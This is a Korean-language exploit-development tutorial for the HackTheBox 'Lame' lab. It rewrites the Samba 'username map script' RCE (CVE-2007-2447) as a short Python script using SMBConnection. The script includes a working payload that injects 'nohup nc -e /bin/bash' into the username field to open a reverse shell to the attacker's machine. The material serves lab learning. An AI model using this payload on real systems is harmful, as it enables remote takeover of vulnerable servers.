
원본 익스플로잇: https://www.exploit-db.com/exploits/16320
익스플로잇 이름: Samba username map script RCE
CVE: 2007-2447
랩: Lame - HackTheBox
Samba 3.0.25 미만 버전에는 공격자가 SMB 서버에 사용자 이름으로 잘못된 형식의 요청을 보내 시스템 명령을 실행할 수 있게 하는 취약점이 있습니다.
다음은 nohup 명령을 사용하여 디렉터리를 생성하는 예시입니다:

프로그래밍 관점에서 /=는 일반적으로 루프에서 사용되는 나눗셈 대입 연산자를 의미합니다. 하지만 왜 여기서 이것을 사용해야 할까요?
그 이유는 요청을 보낼 때 도메인 필드와 사용자 이름 필드를 나누기 위해서입니다. 자세한 설명은 여기에서 볼 수 있습니다.
사용자 이름 필드를 사용해 netcat 연결을 열고 우리 서버에 연결합니다.
익스플로잇 작성은 매우 쉽습니다. Python용 SMB 클라이언트 라이브러리가 이미 있기 때문입니다(python3-samba 패키지 설치). 따라서 다음과 같이 사용하기만 하면 됩니다:
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')
try:
print("Sending payload")
conn.connect(rhost, rport, timeout=10)
except Exception as e:
sys.exit(e)
SMBConnection이 어떻게 동작하는지 알아봅시다. username은 제공했지만 나머지 빈 문자열 3개는 무엇일까요?
나머지 3개의 인자는 password, my_name 및 remote_name입니다.
익스플로잇을 읽기 쉽게 만들기 위해 인자와 값을 명시적으로 작성할 수 있지만 username 이후 인자들의 값은 필요하지 않습니다:
conn = SMBConnection(username=username, password='', my_name='', remote_name='')
다음 부분은 이해하기 쉽습니다. SMBConnection 클래스의 인스턴스를 사용해 연결하고 대상의 IP, 포트, 그리고 초 단위 타임아웃 값을 제공합니다:
conn.connect(rhost, rport, timeout=10)
이번 익스플로잇 개발 세션에서는 SMB 클라이언트를 만들고 SMB 서버에 연결하는 방법을 배웠습니다. 또한 나중에 실험해볼 수 있는 nohup과 같은 Linux 명령에 대해서도 배웠습니다. 피해자 머신에서 netcat을 사용해 공격자 머신으로 연결하는 방법을 배웠으며, 이는 익스플로잇 개발 여정에서 유용하게 쓰일 수 있습니다.